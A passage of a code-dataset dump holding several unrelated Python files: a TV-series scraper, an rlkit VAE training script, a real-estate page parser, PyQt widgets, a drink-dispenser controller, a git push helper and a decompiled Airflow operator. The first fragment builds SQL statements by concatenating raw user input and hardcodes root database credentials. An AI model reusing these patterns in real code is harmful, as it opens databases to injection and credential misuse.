prefix+name+msg\r\n \r\nmydb = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n passwd=\"root\"\r\n)\r\n\r\nc=mydb.cursor()\r\n\r\nc.execute(\"create database if not exists scrapping\")\r\nc.execute(\"use scrapping\")\r\nc.execute(\"create table if not exists input (email varchar(200), series varchar(200))\")\r\n\r\nprint('Enter your Email-ID: ')\r\nemail=input()\r\nprint('Enter the title of your TV Series: ')\r\ninput_string=input()\r\ninp=[]\r\ninp=input_string.split(\",\")\r\nmsg=''\r\nfor i in inp:\r\n c.execute(\"insert into input values('\"+email+\"','\"+i+\"')\")\r\n temp=scrap(email, i)\r\n if temp!='':\r\n msg+=temp+'\\n'\r\nsend_mail(email, msg)","sub_path":"script_GarvitBhatia.py","file_name":"script_GarvitBhatia.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"437099500","text":"\"\"\"\nSkew the dataset so that it turns into generating a uniform distribution.\n\"\"\"\nimport json\nimport time\n\nimport numpy as np\nfrom PIL import Image\nfrom skvideo.io import vwrite\nfrom torch import nn as nn\nfrom torch.optim import Adam\n\nimport rlkit.pythonplusplus as ppp\nimport rlkit.torch.vae.skew.skewed_vae as sv\nfrom rlkit.core import logger\nfrom rlkit.misc.html_report import HTMLReport\nfrom rlkit.visualization.visualization_util import gif\nfrom rlkit.torch.vae.skew.common import (\n Dynamics, plot_curves,\n visualize_samples,\n prob_to_weight,\n)\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.torch.vae.skew.datasets import project_samples_square_np\nfrom rlkit.torch.vae.skew.histogram import Histogram\nfrom rlkit.torch.vae.skew.plotting import (\n visualize_vae_samples,\n visualize_vae,\n visualize_histogram,\n progressbar,\n)\n\nK = 6\n\n\"\"\"\nPlotting\n\"\"\"\n\n\ndef train_from_variant(variant):\n train(full_variant=variant, **variant)\n\n\ndef train(\n dataset_generator,\n n_start_samples,\n projection=project_samples_square_np,\n n_samples_to_add_per_epoch=1000,\n n_epochs=100,\n z_dim=1,\n hidden_size=32,\n save_period=10,\n append_all_data=True,\n full_variant=None,\n dynamics_noise=0,\n decoder_output_var='learned',\n num_bins=5,\n skew_config=None,\n use_perfect_samples=False,\n use_perfect_density=False,\n vae_reset_period=0,\n vae_kwargs=None,\n use_dataset_generator_first_epoch=True,\n **kwargs\n):\n\n \"\"\"\n Sanitize Inputs\n \"\"\"\n assert skew_config is not None\n if not (use_perfect_density and use_perfect_samples):\n assert vae_kwargs is not None\n if vae_kwargs is None:\n vae_kwargs = {}\n\n report = HTMLReport(\n logger.get_snapshot_dir() + '/report.html',\n images_per_row=10,\n )\n dynamics = Dynamics(projection, dynamics_noise)\n if full_variant:\n report.add_header(\"Variant\")\n report.add_text(\n json.dumps(\n ppp.dict_to_safe_json(\n full_variant,\n sort=True),\n indent=2,\n )\n )\n\n vae, decoder, decoder_opt, encoder, encoder_opt = get_vae(\n decoder_output_var,\n hidden_size,\n z_dim,\n vae_kwargs,\n )\n vae.to(ptu.device)\n\n epochs = []\n losses = []\n kls = []\n log_probs = []\n hist_heatmap_imgs = []\n vae_heatmap_imgs = []\n sample_imgs = []\n entropies = []\n tvs_to_uniform = []\n entropy_gains_from_reweighting = []\n p_theta = Histogram(num_bins)\n p_new = Histogram(num_bins)\n\n orig_train_data = dataset_generator(n_start_samples)\n train_data = orig_train_data\n start = time.time()\n for epoch in progressbar(range(n_epochs)):\n p_theta = Histogram(num_bins)\n if epoch == 0 and use_dataset_generator_first_epoch:\n vae_samples = dataset_generator(n_samples_to_add_per_epoch)\n else:\n if use_perfect_samples and epoch != 0:\n # Ideally the VAE = p_new, but in practice, it won't be...\n vae_samples = p_new.sample(n_samples_to_add_per_epoch)\n else:\n vae_samples = vae.sample(n_samples_to_add_per_epoch)\n projected_samples = dynamics(vae_samples)\n if append_all_data:\n train_data = np.vstack((train_data, projected_samples))\n else:\n train_data = np.vstack((orig_train_data, projected_samples))\n\n p_theta.fit(train_data)\n if use_perfect_density:\n prob = p_theta.compute_density(train_data)\n else:\n prob = vae.compute_density(train_data)\n all_weights = prob_to_weight(prob, skew_config)\n p_new.fit(train_data, weights=all_weights)\n if epoch == 0 or (epoch + 1) % save_period == 0:\n epochs.append(epoch)\n report.add_text(\"Epoch {}\".format(epoch))\n hist_heatmap_img = visualize_histogram(p_theta, skew_config, report)\n vae_heatmap_img = visualize_vae(\n vae, skew_config, report,\n resolution=num_bins,\n )\n sample_img = visualize_vae_samples(\n epoch, train_data, vae, report, dynamics,\n )\n\n visualize_samples(\n p_theta.sample(n_samples_to_add_per_epoch),\n report,\n title=\"P Theta/RB Samples\",\n )\n visualize_samples(\n p_new.sample(n_samples_to_add_per_epoch),\n report,\n title=\"P Adjusted Samples\",\n )\n hist_heatmap_imgs.append(hist_heatmap_img)\n vae_heatmap_imgs.append(vae_heatmap_img)\n sample_imgs.append(sample_img)\n report.save()\n\n Image.fromarray(hist_heatmap_img).save(\n logger.get_snapshot_dir() + '/hist_heatmap{}.png'.format(epoch)\n )\n Image.fromarray(vae_heatmap_img).save(\n logger.get_snapshot_dir() + '/hist_heatmap{}.png'.format(epoch)\n )\n Image.fromarray(sample_img).save(\n logger.get_snapshot_dir() + '/samples{}.png'.format(epoch)\n )\n\n \"\"\"\n train VAE to look like p_new\n \"\"\"\n if sum(all_weights) == 0:\n all_weights[:] = 1\n if vae_reset_period > 0 and epoch % vae_reset_period == 0:\n vae, decoder, decoder_opt, encoder, encoder_opt = get_vae(\n decoder_output_var,\n hidden_size,\n z_dim,\n vae_kwargs,\n )\n vae.to(ptu.device)\n vae.fit(train_data, weights=all_weights)\n epoch_stats = vae.get_epoch_stats()\n\n losses.append(np.mean(epoch_stats['losses']))\n kls.append(np.mean(epoch_stats['kls']))\n log_probs.append(np.mean(epoch_stats['log_probs']))\n entropies.append(p_theta.entropy())\n tvs_to_uniform.append(p_theta.tv_to_uniform())\n entropy_gain = p_new.entropy() - p_theta.entropy()\n entropy_gains_from_reweighting.append(entropy_gain)\n\n for k in sorted(epoch_stats.keys()):\n logger.record_tabular(k, epoch_stats[k])\n\n logger.record_tabular(\"Epoch\", epoch)\n logger.record_tabular('Entropy ', p_theta.entropy())\n logger.record_tabular('KL from uniform', p_theta.kl_from_uniform())\n logger.record_tabular('TV to uniform', p_theta.tv_to_uniform())\n logger.record_tabular('Entropy gain from reweight', entropy_gain)\n logger.record_tabular('Total Time (s)', time.time() - start)\n logger.dump_tabular()\n logger.save_itr_params(epoch, {\n 'vae': vae,\n 'train_data': train_data,\n 'vae_samples': vae_samples,\n 'dynamics': dynamics,\n })\n\n report.add_header(\"Training Curves\")\n plot_curves(\n [\n (\"Training Loss\", losses),\n (\"KL\", kls),\n (\"Log Probs\", log_probs),\n (\"Entropy Gain from Reweighting\", entropy_gains_from_reweighting),\n ],\n report,\n )\n plot_curves(\n [\n (\"Entropy\", entropies),\n (\"TV to Uniform\", tvs_to_uniform),\n ],\n report,\n )\n report.add_text(\"Max entropy: {}\".format(p_theta.max_entropy()))\n report.save()\n\n for filename, imgs in [\n (\"hist_heatmaps\", hist_heatmap_imgs),\n (\"vae_heatmaps\", vae_heatmap_imgs),\n (\"samples\", sample_imgs),\n ]:\n video = np.stack(imgs)\n vwrite(\n logger.get_snapshot_dir() + '/{}.mp4'.format(filename),\n video,\n )\n local_gif_file_path = '{}.gif'.format(filename)\n gif_file_path = '{}/{}'.format(\n logger.get_snapshot_dir(),\n local_gif_file_path\n )\n gif(gif_file_path, video)\n report.add_image(local_gif_file_path, txt=filename, is_url=True)\n report.save()\n\n\ndef get_vae(decoder_output_var, hidden_size, z_dim, vae_kwargs):\n encoder = sv.Encoder(\n nn.Linear(2, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, z_dim * 2),\n )\n if decoder_output_var == 'learned':\n last_layer = nn.Linear(hidden_size, 4)\n else:\n last_layer = nn.Linear(hidden_size, 2)\n decoder = sv.Decoder(\n nn.Linear(z_dim, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n last_layer,\n output_var=decoder_output_var,\n output_offset=-1,\n )\n encoder_opt = Adam(encoder.parameters())\n decoder_opt = Adam(decoder.parameters())\n vae = sv.VAE(encoder=encoder, decoder=decoder, z_dim=z_dim, **vae_kwargs)\n return vae, decoder, decoder_opt, encoder, encoder_opt\n\n\n","sub_path":"rlkit/torch/vae/skew/skewed_vae_with_histogram.py","file_name":"skewed_vae_with_histogram.py","file_ext":"py","file_size_in_byte":8857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"259957767","text":"import re\nfrom log import logger\n\n\nclass CianHelper:\n @staticmethod\n def parse_rent_price_serp(soup):\n full_price_div = soup.find('div', {'class': 'serp-item__price-col'})\n price_div = full_price_div.find('div', {'class': 'serp-item__solid'})\n if not price_div:\n logger.error('Empty price div: {}'.format(soup))\n return 0\n\n raw_price = price_div.text.strip()\n res = re.findall(r\"^[0-9\\s]+\", raw_price)[0]\n\n if not res:\n logger.error('Can\\'t find price {}'.format(raw_price))\n return 0\n res = res.replace(' ', '')\n return int(res)\n\n @staticmethod\n def parse_sale_price_serp(soup):\n full_price_div = soup.find('div', {'class': 'serp-item__price-col'})\n price_div = full_price_div.find('div', {'class': 'serp-item__prop'})\n sq_div = soup.find('div', {'class': 'serp-item__area-col'})\n sq = sq_div.find('div', {'class': 'serp-item__solid'})\n sq_int = re.findall(r\"^[0-9\\s]+\", sq.text.strip())\n raw_sale_price = price_div.text.strip()\n res = re.findall(r\"^[0-9\\s]+\", raw_sale_price)[0]\n res = res.replace(' ', '')\n if sq_int:\n sq_int = sq_int[0]\n sq_int = sq_int.replace(' ', '')\n return int(res) * int(sq_int)\n\n @staticmethod\n def parse_price_in_search(soup):\n price_div = soup.find('div', {'class': 'serp-item__price-col'})\n if not price_div:\n return 0\n div_text = price_div.text.strip()\n if 'мес' in div_text:\n price = CianHelper.parse_rent_price_serp(soup)\n else:\n price = CianHelper.parse_sale_price_serp(soup)\n print(price)\n return price\n\n @staticmethod\n def parse_link_in_search(soup):\n link = soup.find('a', {'class': 'serp-item__card-link'})\n if not link:\n return ''\n return link['href']\n\n @staticmethod\n def get_offers_from_url(soup):\n offer_urls = []\n offers_div = soup.findAll(\"div\", {\"class\": \"serp-item\"})\n for offer in offers_div:\n offer_price = CianHelper.parse_price_in_search(offer)\n offer_url = CianHelper.parse_link_in_search(offer)\n if offer_price == 0:\n continue\n offer_urls.append((offer_url, offer_price))\n return offer_urls\n\n @staticmethod\n def parse_offer_pay_type(soup):\n price_div = soup.find('a', {'class': 'object_descr_premium'})\n if price_div:\n offer_type = price_div.text.strip()\n else:\n offer_type = 'Бесплатное'\n return offer_type\n\n @staticmethod\n def parse_realtor(soup):\n realtor_div = soup.find('span', {'class': 'object_descr_realtor_name'})\n if realtor_div:\n realtor = realtor_div.text.strip()\n else:\n realtor = 'Наше'\n return realtor\n\n @staticmethod\n def parse_fair_play(soup):\n fair_play = soup.find('span',\n {'class': 'object_descr_realtor_checked_text'})\n if not fair_play:\n return '?'\n res = fair_play.text.strip()\n return res\n\n @staticmethod\n def parse_images(soup):\n images_div = soup.find('div', {'class': 'object_descr_images_w'})\n if not images_div:\n return False\n images = [x['src'] for x in images_div.findAll('img')]\n return images\n\n @staticmethod\n def parse_flat(value):\n flat = re.findall(r'^\\d+', value)\n flat_amount = re.findall(r'\\d+$', value)\n flat_amount = flat_amount[0] if flat_amount else ''\n flat = flat[0] if flat else ''\n return flat, flat_amount\n\n @staticmethod\n def parse_square(value):\n square = re.findall(r'^[\\d,]+', value)\n square = square[0] if square else ''\n return square\n\n @staticmethod\n def parse_house_type(value):\n house_type = re.findall(r'[^ ]+ ?[\\S]+$', value)\n house_type = house_type[0] if house_type else ''\n return house_type\n","sub_path":"partners_api/cian.py","file_name":"cian.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"630345725","text":"from PyQt5.QtWidgets import (QWidget, QLabel, QLineEdit, QPushButton, QVBoxLayout,\r\n QHBoxLayout, QSpacerItem,QSizePolicy,QListWidget, QListWidgetItem,QMenu,QAction)\r\n\r\nfrom PyQt5.QtCore import QSize, Qt\r\nfrom PyQt5.QtGui import QPixmap, QFont\r\n\r\nfrom PyQt5.QtGui import QCursor\r\nfrom PyQt5.QtCore import QPoint\r\n\r\nclass MyLable(QWidget):\r\n def __init__(self, title, subtitle, icon_path):\r\n super(MyLable, self).__init__()\r\n self.lb_title = QLabel(title)\r\n self.lb_title.setFont(QFont(\"Arial\", 10, QFont.Bold))\r\n self.lb_subtitle = QLabel(subtitle)\r\n self.lb_subtitle.setFont(QFont(\"Arial\", 8, QFont.StyleItalic))\r\n self.lb_icon = QLabel()\r\n self.lb_icon.setFixedSize(40, 40)\r\n pixMap = QPixmap(icon_path).scaled(self.lb_icon.width(), self.lb_icon.height())\r\n self.lb_icon.setPixmap(pixMap)\r\n self.double_click_fun = None\r\n self.init_ui()\r\n\r\n\r\n def init_ui(self):\r\n \"\"\"handle layout\"\"\"\r\n ly_main = QHBoxLayout()\r\n ly_right = QVBoxLayout()\r\n ly_right.addWidget(self.lb_title)\r\n ly_right.addWidget(self.lb_subtitle)\r\n ly_right.setAlignment(Qt.AlignVCenter)\r\n ly_main.addWidget(self.lb_icon)\r\n ly_main.addLayout(ly_right)\r\n self.setLayout(ly_main)\r\n self.resize(90, 60)\r\n\r\n def get_lb_title(self):\r\n return self.lb_title.text()\r\n\r\n def get_lb_subtitle(self):\r\n return self.lb_subtitle.text()\r\n\r\nclass ListWindow(QWidget):\r\n def __init__(self, parent=None):\r\n super(ListWindow, self).__init__(parent)\r\n self.doubleclick_fun = None\r\n self.list_widget = QListWidget()\r\n\r\n\r\n def _set_items(self, list_text):\r\n self.list_widget.clear()\r\n ly_vbox = QVBoxLayout()\r\n print(\"set_items>\",list_text)\r\n for item in list_text:\r\n self._setItem(item[0], str(item[1]), item[2])\r\n ly_vbox.addWidget(self.list_widget)\r\n self.list_widget.itemClicked.connect(self.item_doubleclick_slot)\r\n self.list_widget.customContextMenuRequested[QPoint].connect(self.myListWidgetContext)\r\n self.list_widget.setContextMenuPolicy(Qt.CustomContextMenu)\r\n self.setLayout(ly_vbox)\r\n\r\n def getListitems(self):\r\n return self.selectedItems()\r\n\r\n def myListWidgetContext(self, point):\r\n popMenu = QMenu()\r\n popMenu.addAction(QAction(u'添加', self, triggered=self.close))\r\n popMenu.addAction(QAction(u'删除', self, triggered=self.addItem))\r\n popMenu.addAction(QAction(u'修改', self, triggered=self.close))\r\n\r\n popMenu.exec_(QCursor.pos())\r\n\r\n def addItem(self):\r\n print(\"执行了删除\")\r\n L = [[\"1\",\"1\",\"avatar.jpg\"],[\"1\",\"1\",\"avatar.jpg\"]]\r\n self._set_items(L)\r\n\r\n\r\n def _setItem(self, title, subtitle, pic_path):\r\n item_widget = QListWidgetItem()\r\n item_widget.setSizeHint(QSize(90, 60))\r\n self.list_widget.addItem(item_widget)\r\n\r\n label = MyLable(title, subtitle, pic_path)\r\n self.list_widget.setItemWidget(item_widget, label)\r\n\r\n\r\n def item_doubleclick_slot(self):\r\n if self.doubleclick_fun:\r\n widget = self.list_widget.itemWidget(self.list_widget.currentItem()) # get MyLabel widget\r\n self.doubleclick_fun(widget.get_lb_title(), widget.get_lb_subtitle())\r\n\r\n def set_doubleclick_slot(self, fun):\r\n \"\"\"set item double click slot\"\"\"\r\n self.doubleclick_fun = fun\r\n\r\n\r\n\r\nclass LoginLineEdit(QLineEdit):\r\n def __init__(self, parent=None):\r\n super(LoginLineEdit, self).__init__()\r\n self.setObjectName(\"LoginLine\")\r\n self.parent = parent\r\n self.setMinimumSize(218, 20)\r\n with open('qss/loginLine.qss', 'r') as f:\r\n self.setStyleSheet(f.read())\r\n\r\n self.button = QPushButton(self)\r\n self.button.setMaximumSize(13, 13)\r\n self.button.setCursor(QCursor(Qt.PointingHandCursor))\r\n\r\n self.setTextMargins(3, 0, 19, 0)\r\n\r\n self.spaceItem = QSpacerItem(150, 10, QSizePolicy.Expanding)\r\n\r\n self.mainLayout = QHBoxLayout()\r\n self.mainLayout.addSpacerItem(self.spaceItem)\r\n # self.mainLayout.addStretch(1)\r\n self.mainLayout.addWidget(self.button)\r\n self.mainLayout.addSpacing(10)\r\n self.mainLayout.setContentsMargins(0, 0, 0, 0)\r\n self.setLayout(self.mainLayout)","sub_path":"MizarService/service/surface/module/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"487676616","text":"from time import sleep\nimport Constants\nfrom enum import Enum, auto\n\nclass LemonatorState(Enum):\n IDLE = auto()\n ERROR = auto()\n DISPENSING_A = auto()\n DISPENSING_B = auto()\n #DISPENSING_FINISHED = auto()\n USER_SELECTING_HEAT = auto()\n USER_SELECTING_VOLUME = auto()\n USER_SELECTING_RATIO = auto()\n\nclass LemonatorErrors(Enum):\n NONE = auto()\n INVALID_INPUT = auto()\n TEMP_TOO_HIGH = auto()\n EMPTY_VESSEL_A = auto()\n EMPTY_VESSEL_B = auto()\n CUP_REMOVED = auto()\n A_SHORTAGE = auto()\n B_SHORTAGE = auto()\n\nclass Controller:\n def __init__(self, pumpA, pumpB, valveA, valveB, ledRedA, ledGreenA, ledRedB, ledGreenB, ledGreenM, ledYellowM, \n heater, temperature, level, presence, colour, keypad, lcd):\n \n self.pumpA = pumpA\n self.pumpB = pumpB\n self.valveA = valveA\n self.valveB = valveB\n\n self.ledRedA = ledRedA\n self.ledGreenA = ledGreenA\n self.ledRedB = ledRedB\n self.ledGreenB = ledGreenB\n self.ledGreenM = ledGreenM\n self.ledYellowM = ledYellowM\n\n self.heater = heater\n self.temperature = temperature\n self.level = level\n self.presence = presence\n self.colour = colour\n\n self.keypad = keypad\n self.lcd = lcd\n\n self.state = LemonatorState.IDLE\n self.errorState = LemonatorErrors.NONE\n\n self.inputLevel = \"\"\n self.targetLevel = -1\n self.startLevel = -1\n self.inputTemperature = \"\"\n self.targetTemperature = -1\n self.inputRatio = \"\"\n self.targetRatio = -1\n self.latestKeyPress = \"\"\n\n self.aLevel = Constants.storageMax\n self.bLevel = Constants.storageMax\n \n def initialize(self):\n self.lcd.clear()\n\n while self.keypad.pop() != '\\x00': # Emptying the buffer just in case\n pass\n\n def update(self):\n self.updateLeds()\n self.latestKeyPress = self.keypad.pop()\n\n self.lcd.pushString(\"\\x0c LEMONATOR\\n--------------------\\n\")\n \n if self.errorState != LemonatorErrors.NONE:\n self.state = LemonatorState.ERROR\n self.stopFlow() # Just to be sure\n\n self.inputLevel = \"\"\n self.inputTemperature = \"\"\n self.inputRatio = \"\"\n\n self.displayError()\n \n # if self.pumpA.isOn():\n # if self.aLevel <= 0:\n # self.stopFlow()\n # self.errorState = LemonatorErrors.EMPTY_VESSEL_A\n \n # if self.pumpB.isOn():\n # if self.bLevel <= 0:\n # self.stopFlow()\n # self.errorState = LemonatorErrors.EMPTY_VESSEL_B\n\n if self.inputTemperature != \"\" and self.state != LemonatorState.USER_SELECTING_HEAT or self.targetTemperature != -1:\n self.handleHeater()\n\n # State switch, Python doesn't have a built-in option for this\n if self.state == LemonatorState.IDLE:\n self.idle()\n elif self.state == LemonatorState.USER_SELECTING_RATIO:\n self.userSelectingRatio()\n elif self.state == LemonatorState.USER_SELECTING_VOLUME:\n self.userSelectingVolume()\n elif self.state == LemonatorState.USER_SELECTING_HEAT:\n self.userSelectingHeat()\n elif self.state == LemonatorState.DISPENSING_A:\n self.dispensingAState()\n elif self.state == LemonatorState.DISPENSING_B:\n self.dispensingBState()\n \n def idle(self):\n self.checkHeckje()\n self.lcd.pushString(\"Press A to start\\nPress # to cancel\")\n\n if self.latestKeyPress == 'A':\n self.state = LemonatorState.USER_SELECTING_RATIO\n\n def userSelectingRatio(self):\n self.checkHeckje()\n\n if self.latestKeyPress.isdigit():\n self.inputRatio += self.latestKeyPress\n \n if self.latestKeyPress == '*':\n if self.inputRatio == \"\" or not self.inputRatio.isnumeric() or float(self.inputRatio or 0) <= 0:\n self.errorState = LemonatorErrors.INVALID_INPUT\n return\n \n self.targetRatio = float(self.inputRatio)\n self.inputRatio = \"\"\n self.state = LemonatorState.USER_SELECTING_VOLUME\n\n self.lcd.pushString(f\"Desired vol. ratio:\\n1 to {self.inputRatio} | B to A (*)\")\n\n def userSelectingVolume(self):\n self.checkHeckje()\n\n if self.latestKeyPress.isdigit():\n self.inputLevel += self.latestKeyPress\n \n if self.latestKeyPress == '*':\n if self.inputLevel == \"\" or not self.inputLevel.isnumeric() or float(self.inputLevel or 0) <= 0:\n self.errorState = LemonatorErrors.INVALID_INPUT\n return\n\n self.targetLevel = float(self.inputLevel)\n if self.targetLevel / (self.targetRatio + 1) > self.bLevel:\n self.errorState = LemonatorErrors.B_SHORTAGE\n return\n\n if self.targetLevel * self.targetRatio / (self.targetRatio + 1) > self.aLevel:\n self.errorState = LemonatorErrors.A_SHORTAGE\n return\n\n self.startLevel = self.level._convertToValue()\n if self.startLevel + self.targetLevel > Constants.liquidMax:\n self.errorState = LemonatorErrors.INVALID_INPUT\n return\n\n self.inputLevel = \"\"\n self.state = LemonatorState.USER_SELECTING_HEAT\n\n self.lcd.pushString(f\"Desired volume:\\n{self.inputLevel} mL (*)\")\n\n def userSelectingHeat(self):\n self.checkHeckje()\n\n if self.latestKeyPress.isdigit():\n self.inputTemperature += self.latestKeyPress\n\n if self.latestKeyPress == '*':\n if self.inputTemperature == \"\" or not self.inputTemperature.isnumeric():\n self.errorState = LemonatorErrors.INVALID_INPUT\n return\n\n self.targetTemperature = float(self.inputTemperature)\n if self.targetTemperature < Constants.environmentTemp:\n self.targetTemperature = Constants.environmentTemp\n if self.targetTemperature > 90:\n self.errorState = LemonatorErrors.TEMP_TOO_HIGH\n self.targetTemperature = -1\n return\n \n self.inputTemperature = \"\"\n self.state = LemonatorState.DISPENSING_B\n \n self.lcd.pushString(f\"Desired temperature:\\n{self.inputTemperature} deg C (*)\")\n\n def dispensingAState(self):\n self.checkHeckje()\n\n if not self.presence.readValue():\n self.stopFlow()\n self.errorState = LemonatorErrors.CUP_REMOVED\n return\n\n desiredALevel = self.startLevel + self.targetLevel\n if self.level._convertToValue() >= desiredALevel:\n self.stopFlow()\n self.aLevel -= self.targetLevel * self.targetRatio / (self.targetRatio + 1)\n self.state = LemonatorState.IDLE\n return\n \n self.dispenseA()\n\n self.lcd.pushString(f\"Dispensing A\\n{int(self.level._convertToValue())}/{int(desiredALevel)} progress\")\n\n def dispenseA(self):\n if not self.pumpA.isOn():\n self.pumpA.switchOn()\n if self.valveA.isOn():\n self.valveA.switchOff()\n \n self.checkHeckje()\n\n def dispensingBState(self):\n self.checkHeckje()\n\n if not self.presence.readValue():\n self.stopFlow()\n self.errorState = LemonatorErrors.CUP_REMOVED\n return\n\n desiredBLevel = self.startLevel + self.targetLevel / (self.targetRatio + 1)\n if self.level._convertToValue() >= desiredBLevel:\n self.stopFlow()\n self.bLevel -= self.targetLevel / (self.targetRatio + 1)\n self.state = LemonatorState.DISPENSING_A\n return\n\n self.dispenseB()\n\n self.lcd.pushString(f\"Dispensing B\\n{int(self.level._convertToValue())}/{int(desiredBLevel)} progress\")\n\n def dispenseB(self):\n if not self.pumpB.isOn():\n self.pumpB.switchOn()\n if self.valveB.isOn():\n self.valveB.switchOff()\n \n self.checkHeckje()\n\n def checkHeckje(self):\n if self.latestKeyPress == '#':\n self.state = LemonatorState.IDLE\n self.stopFlow()\n self.heater.switchOff()\n self.targetTemperature = -1\n\n def handleHeater(self):\n if not self.presence.readValue():\n self.heater.switchOff()\n self.targetTemperature = -1\n return\n \n if self.targetTemperature >= 0 and self.temperature._convertToValue() < self.targetTemperature:\n self.heater.switchOn()\n else:\n self.heater.switchOff()\n\n def stopFlow(self):\n # This way it always stops, even when somehow the pumps were already shut down but pressure still on the vessel\n self.valveA.switchOn()\n self.valveB.switchOn()\n\n if self.pumpA.isOn():\n self.pumpA.switchOff()\n if self.pumpB.isOn():\n self.pumpB.switchOff()\n\n def updateLeds(self):\n if self.pumpA.isOn() and not self.valveA.isOn():\n self.ledGreenA.switchOn()\n self.ledRedA.switchOff()\n else:\n self.ledGreenA.switchOff()\n self.ledRedA.switchOn()\n \n if self.pumpB.isOn() and not self.valveB.isOn():\n self.ledGreenB.switchOn()\n self.ledRedB.switchOff()\n else:\n self.ledGreenB.switchOff()\n self.ledRedB.switchOn()\n \n if self.heater.isOn():\n self.ledGreenM.switchOff()\n self.ledYellowM.switchOn()\n \n else:\n self.ledGreenM.switchOn()\n self.ledYellowM.switchOff()\n \n def displayError(self):\n self.lcd.pushString(\"\\x0c ERROR\\n--------------------\\n\")\n\n errorMessage = \"\"\n if self.errorState == LemonatorErrors.NONE:\n return\n elif self.errorState == LemonatorErrors.EMPTY_VESSEL_A:\n errorMessage = \"Vessel A is empty\"\n elif self.errorState == LemonatorErrors.EMPTY_VESSEL_B:\n errorMessage = \"Vessel B is empty\"\n elif self.errorState == LemonatorErrors.INVALID_INPUT:\n errorMessage = \"Input is invalid\"\n elif self.errorState == LemonatorErrors.TEMP_TOO_HIGH:\n errorMessage = \"Input temp too high\"\n elif self.errorState == LemonatorErrors.CUP_REMOVED:\n errorMessage = \"Cup was removed\"\n elif self.errorState == LemonatorErrors.A_SHORTAGE:\n errorMessage = \"Too little in A\"\n elif self.errorState == LemonatorErrors.B_SHORTAGE:\n errorMessage = \"Too little in B\"\n\n self.lcd.pushString(f\"{errorMessage}\\nPress # to return\")\n if self.latestKeyPress == '#':\n self.state = LemonatorState.IDLE\n self.errorState = LemonatorErrors.NONE","sub_path":"simulator/CustomController.py","file_name":"CustomController.py","file_ext":"py","file_size_in_byte":10970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"119684433","text":"from git import Repo\n\nrepo_dir = 'programs'\nrepo = Repo(repo_dir)\nfile_list = [\n 'python_programs\\due_date.py'\n]\ncommit_message = 'Add simple python programs'\nrepo.index.add(file_list)\nrepo.index.commit(commit_message)\norigin = repo.remote('origin')\norigin.push()","sub_path":"git (2).py","file_name":"git (2).py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"193259775","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/airflow/contrib/operators/gcp_transfer_operator.py\n# Compiled at: 2019-09-11 03:47:34\n# Size of source mod 2**32: 29792 bytes\nfrom copy import deepcopy\nfrom datetime import date, time\nfrom airflow import AirflowException\nfrom airflow.contrib.hooks.gcp_transfer_hook import GCPTransferServiceHook, GcpTransferJobsStatus, TRANSFER_OPTIONS, OBJECT_CONDITIONS, PROJECT_ID, BUCKET_NAME, GCS_DATA_SINK, STATUS, DESCRIPTION, GCS_DATA_SOURCE, HTTP_DATA_SOURCE, SECONDS, MINUTES, HOURS, YEAR, MONTH, DAY, START_TIME_OF_DAY, SCHEDULE_END_DATE, SCHEDULE_START_DATE, SCHEDULE, SECRET_ACCESS_KEY, ACCESS_KEY_ID, AWS_ACCESS_KEY, AWS_S3_DATA_SOURCE, TRANSFER_SPEC\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\ntry:\n from airflow.contrib.hooks.aws_hook import AwsHook\nexcept ImportError:\n AwsHook = None\n\nclass TransferJobPreprocessor:\n\n def __init__(self, body, aws_conn_id='aws_default', default_schedule=False):\n self.body = body\n self.aws_conn_id = aws_conn_id\n self.default_schedule = default_schedule\n\n def _inject_aws_credentials(self):\n if TRANSFER_SPEC not in self.body or AWS_S3_DATA_SOURCE not in self.body[TRANSFER_SPEC]:\n return\n aws_hook = AwsHook(self.aws_conn_id)\n aws_credentials = aws_hook.get_credentials()\n aws_access_key_id = aws_credentials.access_key\n aws_secret_access_key = aws_credentials.secret_key\n self.body[TRANSFER_SPEC][AWS_S3_DATA_SOURCE][AWS_ACCESS_KEY] = {ACCESS_KEY_ID: aws_access_key_id, \n SECRET_ACCESS_KEY: aws_secret_access_key}\n\n def _reformat_date(self, field_key):\n schedule = self.body[SCHEDULE]\n if field_key not in schedule:\n return\n if isinstance(schedule[field_key], date):\n schedule[field_key] = self._convert_date_to_dict(schedule[field_key])\n\n def _reformat_time(self, field_key):\n schedule = self.body[SCHEDULE]\n if field_key not in schedule:\n return\n if isinstance(schedule[field_key], time):\n schedule[field_key] = self._convert_time_to_dict(schedule[field_key])\n\n def _reformat_schedule(self):\n if SCHEDULE not in self.body:\n if self.default_schedule:\n self.body[SCHEDULE] = {SCHEDULE_START_DATE: date.today(), \n SCHEDULE_END_DATE: date.today()}\n else:\n return\n self._reformat_date(SCHEDULE_START_DATE)\n self._reformat_date(SCHEDULE_END_DATE)\n self._reformat_time(START_TIME_OF_DAY)\n\n def process_body(self):\n self._inject_aws_credentials()\n self._reformat_schedule()\n return self.body\n\n @staticmethod\n def _convert_date_to_dict(field_date):\n \"\"\"\n Convert native python ``datetime.date`` object to a format supported by the API\n \"\"\"\n return {DAY: field_date.day, MONTH: field_date.month, YEAR: field_date.year}\n\n @staticmethod\n def _convert_time_to_dict(time):\n \"\"\"\n Convert native python 